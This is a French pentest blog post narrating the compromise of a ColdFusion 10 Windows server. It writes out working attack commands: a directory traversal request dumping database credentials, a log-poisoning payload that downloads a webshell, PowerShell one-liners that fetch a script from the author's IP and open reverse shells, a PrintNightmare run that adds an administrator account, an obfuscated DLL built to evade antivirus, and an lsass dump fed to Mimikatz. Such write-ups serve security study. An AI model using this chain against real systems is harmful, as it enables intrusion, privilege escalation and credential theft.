Accueil Tales of PenTest #2: Celui qui utilisait encore ColdFusion
Post
Annuler

Tales of PenTest #2: Celui qui utilisait encore ColdFusion

À l’attention des louveteaux

ColdFusion ? C’est quoi ça ? C’est avant tout un langage destiné au web, pour résoudre à sa sortie en 1995 le besoin de créer des pages web dynamiques tout en s’évitant d’avoir recours aux horribles CGI en Perl truffés de vulnérabilités en tout genre.

Certes on a eu droit à PHP et CFM (ColdFusion Markup Language) ce qui n’était pas forcément mieux en matière de sécurité :D

Quoi qu’il en soit ColdFusion a suivi un cheminement similaire à l’éditeur de pages web de l’époque Dreamweaver c’est-à-dire reprise par Macromedia, repris lui-même par Adobe.

Et d’après la page wikipedia et malgré la popularité des frameworks Python, ColdFusion continue d’exister avec une version 2021.

Félicie avait une fuite… ColdFusion… aussi !

Un scan Wapiti sur notre cible du jour remonte une faille de type directory traversal :

1
2
3
4
5
6
---
Windows local file disclosure vulnerability dans http://target/website/content.cfm via une injection dans le paramètre data
Evil request:
    GET /web/content.cfm?data=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2FWindows%2FSystem32%2Fdrivers%2Fetc%2Fservices&cid=48 HTTP/1.1
    Host: target
---

On peut vérifier l’intégration des données dans la page directement depuis le navigateur :

Directory traversal vulnerability on Coldfusion

ColdFusion est un peu marseillais et nous donne des informations précieuses quand il ne parvient pas à accéder à la ressource demandée, par exemple si on passe zozo à la variable data vulnérable :

ColdFusion leaking information in error webpage

Spécifiquement à ce serveur ça ne s’arrête pas là, car l’accès à la section d’administration (où l’on s’attend à voir une mire de connexion) au chemin /cfide/administrator/index.cfm nous retourne un code 403 qui contient cette fois le chemin d’installation du ColdFusion ainsi que sa version (ColdFusion 10 datant de 2012).

ColdFusion installation path leak on admin webpage

Extraction des identifiants de base de données

Que peut-on faire avec cette vulnérabilité ? D’après un article baptisé Attacking Adobe ColdFusion, on peut en profiter pour récupérer le contenu du fichier [ColdFusion_Install_Dir]\lib\neo-datasource.xml qui contient les identifiants pour les différentes bases de données utilisées par les sites configurés sur le serveur.

Il faudra extraire le contenu utile du code HTML obtenu et le remettre un peu en forme pour qu’il soit lisible.

1
curl -s "http://target/website/content.cfm?data=..\..\..\..\..\..\..\..\ColdFusion10\cfusion\lib\neo-datasource.xml" > dump.xml

Le contenu peut être rapidement énorme en fonction du nombre d’entrées, mais pour donner un aperçu, on obtiendra des infos ordonnées de cette façon :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<var name='web1dsn'>
    <struct type='coldfusion.server.ConfigMap'>
        <var name='alter'>
            <boolean value='true'/>
        </var>
        <var name='create'>
            <boolean value='true'/>
        </var>
        <var name='DRIVER'>
            <string>MySQL 4 and 5</string>
        </var>
        <var name='CLASS'>
            <string>com.mysql.jdbc.Driver</string>
        </var>
        <var name='url'>
            <string>jdbc:mysql://localhost:3306/web1db?noDatetimeStringSync=true&amp;zeroDateTimeBehavior=convertToNull</string>
        </var>
        <var name='username'>
            <string>web1user</string>
        </var>
        <var name='NAME'>
            <string>web1dsn</string>
        </var>
        <var name='grant'>
            <boolean value='true'/>
        </var>
        <var name='password'>
            <string>5j36qm2oMZhsQ+O056ZrC9xQOapvgYkcRtL687XUjkc=</string>
        </var>
        <var name='insert'>
            <boolean value='true'/>
        </var>
        <var name='timeout'>
            <number>120.0</number>
        </var>
    </struct>
</var>

Le mot de passe n’est pas un simple base64, il est aussi chiffré à l’aide d’une clé aléatoire. Heureusement cette clé est présente dans le fichier seed.properties du même dossier :

Leaking Coldfusion seed

On peut utiliser un exécutable Windows baptisé ColdFusionDecryptor décrit ici. Il a le bon goût de fonctionner parfaitement sous Linux avec l’émulateur Wine.

Coldfusion datasource password decryption

Cool ! Mais comme le serveur n’expose aucun service de contrôle d’accès ou de DB cela ne nous avance pas vraiment.

Vous avez dit include ? Je dis log poisoning !

Vous avez peut-être relevé la présence plus tôt d’une directive nommée cfinclude dans le message d’erreur de la page vulnérable :

1
<cfinclude template="../#data#">

Cette ligne signifie inclus dans la page locale le template dont le path est donné via le paramètre data. Et oui, ColdFusion propose une directive similaire à la fonction include() de PHP avec les mêmes risques ! (ce sont des blagueurs)

ColdFusion génère différents fichier de logs. Une technique d’empoisonnement des logs est décrite pour un ColdFusion 8 ici.

Nous allons l’appliquer sur notre ColdFusion 10. Pour avoir une idée du path à utiliser nous pouvons aussi fouiller dans le code de Clusterd, un outil d’exploitation pour cibler les serveurs JBoss, Tomcat, WebLogic, etc et bien sûr ColdFusion.

Avant de se jeter dans l’injection d’une directive CFM valide il est préférable de vérifier que l’injection des caractères nécessaires se fera correctement. Ce serait dommage de se fermer la porte en bloquant l’interprétation du code CFM parce qu’on a utilisé des doubles quotes qui seraient échappées dans les logs.

On va donc passer une valeur contenant les caractères souhaités dans le paramètre data vulnérable afin qu’ils se retrouvent dans le fichier de log application.log puis inclure ..\..\..\..\..\..\..\..\ColdFusion10\cfusion\logs\application.log pour vérifier qu’ils ont été intégrés correctement :

1
2
3
4
5
6
7
8
9
Could not find the included template ../yolo#'<>yolo.
Note: If you wish to use an absolute template path (for example, template=""/mypath/index.cfm"")
with CFINCLUDE, you must create a mapping for the path using the ColdFusion Administrator.
Or, you can use per-application settings to specify mappings specific to this application by specifying a mappings struct to
THIS.mappings in Application.cfc. <br> Using relative paths
(for example, template=""index.cfm"" or template=""../index.cfm"") does not
require the creation of any special mappings.
It is therefore recommended  that you use relative paths with CFINCLUDE whenever possible.
The specific sequence of files included or processed is: C:\home\target\wwwroot\website\content.cfm, line: 362 

Success ! Il ne reste qu’à injecter un code CFM qui nous donnera un webshell.

On va reprendre le code présent dans l’article cité plus tôt :

1
<cfhttp method='get' url='#ToString(ToBinary('aHR0cDovLzE5Mi4xNjguMS45Nzo4MDAwL2NtZC5jZm1s'))#' path='#ExpandPath(ToString(ToBinary('Li4vLi4v')))#' file='cmd.cfml'>

Il faut bien sûr éditer les valeurs base64 qui correspondent respectivement à l’URL sur laquelle le serveur doit télécharger notre webshell et le dossier dans lequel le webshell doit être écrit. Le dernier paramètre en clair sera utilisé comme nom de fichier pour ce webshell.

À vous de calculer dans quel dossier écrire en vous basant sur les paths qui auront été leaké préalablement.

J’obtiens finalement le webshell attendu, victoire !

ColdFusion webshell leveraging log poisoning

Patate ratée

Un èwhoami /all è retourne les informations suivantes :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
USER INFORMATION
----------------

User Name        SID                                           
================ ==============================================
target\cfusion S-1-5-21-snip-

GROUP INFORMATION
-----------------

Group Name                           Type             SID          Attributes                                        
==================================== ================ ============ ==================================================
Everyone                             Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                        Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                 Well-known group S-1-5-6      Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                        Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization       Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account           Well-known group S-1-5-113    Mandatory group, Enabled by default, Enabled group
LOCAL                                Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication     Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label            S-1-16-12288                                                   

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

Je remarque aussi la présence de l’antivirus Avast en listant les processus (tasklist /v), je sais qu’il s’agit d’un processeur 64 bits (wmic computersystem get systemtype) et enfin via la commande systeminfo je peux savoir que l’OS est un Windows Server 2012 R2.

Je peux obtenir un reverse shell interactif sur la machine en appelant Powershell depuis le webshell. Pour cela j’encode d’abord ma commande dans l’encodage souhaité :

1
printf "iex (New-Object Net.WebClient).DownloadString('http://mon_ip/ns/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress mon_ip -Port 445" | iconv -t UTF-16LE | base64 -w0

Je déclenche ensuite le powershell :

1
c:\windows\system32\cmd.exe /C powershell -NonI -W Hidden -NoP -Exec Bypass -Enc ma_commande_base64

Bien sûr, le privilège SeImpersonatePrivilege donne des envies de patates. Toutefois l’upload de ces exécutables bien connus des antivirus provoque leur suppression immédiate du serveur !

L’exécution du binaire en mémoire via Invoke-ReflectivePEInjection semble, elle aussi, détectée. Il apparaît en fait que Powershell a le mauvais œil de l’antivirus. Ainsi si vous créez un simple Hello world avec Visual Studio juste en sélectionnant Nouveau projet C# et que vous le compilez puis le déposez sur la machine, il est immédiatement supprimé malgré l’absence totale de charge virale.

Custom Nightmare

Le système semblait être aussi vulnérable à quelques vulnérabilités de DLL hijacking mais je ne disposais pas de droits pour redémarrer les services impactés.

J’ai finalement eu recours à un exploit en Powershell pour la vulnérabilité Print Nightmare.

L’exploit a besoin d’un fichier DLL contenant la charge finale et ce dernier est bien sûr détecté par l’AV :

1
2
3
4
5
6
7
8
PS C:\ColdFusion10\cfusion\bin> iex (New-Object Net.WebClient).DownloadString('http://my_ip/CVE-2021-1675.ps1'); 
PS C:\ColdFusion10\cfusion\bin> Invoke-Nightmare -DriverName "Xerox" -NewUser "devloop" -NewPassword "hack2021"
PS C:\ColdFusion10\cfusion\bin> Remove-Item : Cannot find path 'C:\Users\cfusion\AppData\Local\Temp\nightmare.dll' because it does not exist. 
At line:147 char:9 
+ Remove-Item -Force $DLL 
+ ~~~~~~~~~~~~~~~~~~~~~~~ 
 + CategoryInfo : ObjectNotFound: (C:\Users\cfusio...p\nightmare.dll:String) [Remove-Item], ItemNotFoundException 
 + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.RemoveItemCommand 

À la place, j’ai récupéré ce projet de DLL permettant d’ajouter un utilisateur sur le système. Je l’ai légèrement obfusqué et compilé. J’ai bien pris soin à ce que le fichier obtenu soit déposé sur le disque via le webshell et non par powershell pour éviter sa suppression.

L’exploit powershell dispose d’une option pour spécifier son propre fichier DLL :

1
2
3
4
5
6
7
8
9
10
11
12
PS C:\ColdFusion10\cfusion\bin> Invoke-Nightmare -DLL C:\ColdFusion10\cfusion\bin\coldfusion.dll 
PS C:\ColdFusion10\cfusion\bin> & cmd.exe /c net localgroup administrators 
Alias name administrators 
Comment Administrators have complete and unrestricted access to the computer/domain 

Members 

------------------------------------------------------------------------------- 
Administrator 
webadmin
devloop
The command completed successfully.

Et ça marche !

J’ai ensuite eu des difficultés à obtenir un shell avec ce nouveau compte et j’obtenais des Access denied sans comprendre pourquoi (mes connaissances du pentest Windows restent à approfondir).

Ainsi un runas via Powershell comme ceci :

1
2
3
$password = ConvertTo-SecureString "hack2021" -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential("target\devloop", $password) 
Start-Process -FilePath "powershell" -argumentlist "IEX(New-Object System.Net.webClient).downloadString('http://my_ip/ns/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress my_ip -Port 22" -Credential $cred -windowstyle hidden

Ou encore l’utilisation de RunAsSpc échouaient :-/

N’hésitez pas à éclairer ma lanterne si vous disposez d’une explication.

J’ai résolu le problème en créant un tunnel reverse SSH sur le serveur puis en forwardant le port RDP. Il ne restait plus qu’à utiliser xfreerdp pour me connecter graphiquement au serveur.

Trophé

Une fois administrateur, je peux lancer le gestionnaire de taches et créer un dump du processus lsass.exe. Une fois le dump téléchargé je peux en extraire des hashs avec Mimikatz.

Mimikatz hash dump using dump of lsass process

Published March 21 2022 at 18:13

Cet article est sous licence CC BY 4.0 par l'auteur.